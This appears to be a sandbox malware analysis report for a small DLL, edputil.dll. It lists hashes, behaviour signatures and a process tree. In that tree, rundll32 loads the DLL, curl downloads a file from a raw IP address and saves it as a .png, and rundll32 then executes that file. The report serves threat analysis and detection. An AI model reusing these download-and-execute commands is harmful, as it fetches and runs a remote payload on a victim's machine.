31e4057061c4d8f607a0f0b7f295572249408ac8de5db54a161c84ee57ac824e | Triage

Analysis

max time kernel
135s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
15/05/2023, 15:41

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General

Target

edputil.dll
Size

5KB
MD5

15c12a86cbfdf34c585e553243675bdd
SHA1

6030b07c42982f73071dc19ddf7bc9193a561efa
SHA256

31e4057061c4d8f607a0f0b7f295572249408ac8de5db54a161c84ee57ac824e
SHA512

92ef9ff01744f8c3914bf516d8fc973823bdde01f0d51fe8445d9970feda63409fb14285d6f95d9ceebb8ba8cf04499cd9fc939770fa9f40b88253858be8ff02
SSDEEP

24:etGSI59omUgu4F/+/fJ3hGRoUU5UmgIBOnpV:6yLuzZYIB

Score

1^/10

Malware Config

Signatures

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1140 wrote to memory of 228	1140	rundll32.exe	87
PID 1140 wrote to memory of 228	1140	rundll32.exe	87
PID 1140 wrote to memory of 2396	1140	rundll32.exe	93
PID 1140 wrote to memory of 2396	1140	rundll32.exe	93

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\edputil.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:1140
- C:\Windows\system32\curl.exe
  curl http://109.172.45.9/Leq/15 -o c:\users\public\default.png
  2⤵
  PID:228
- C:\Windows\system32\rundll32.exe
  rundll32 c:\users\public\default.png,print
  2⤵
  PID:2396

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

memory/1140-133-0x0000000069C40000-0x0000000069C49000-memory.dmp

Filesize
36KB

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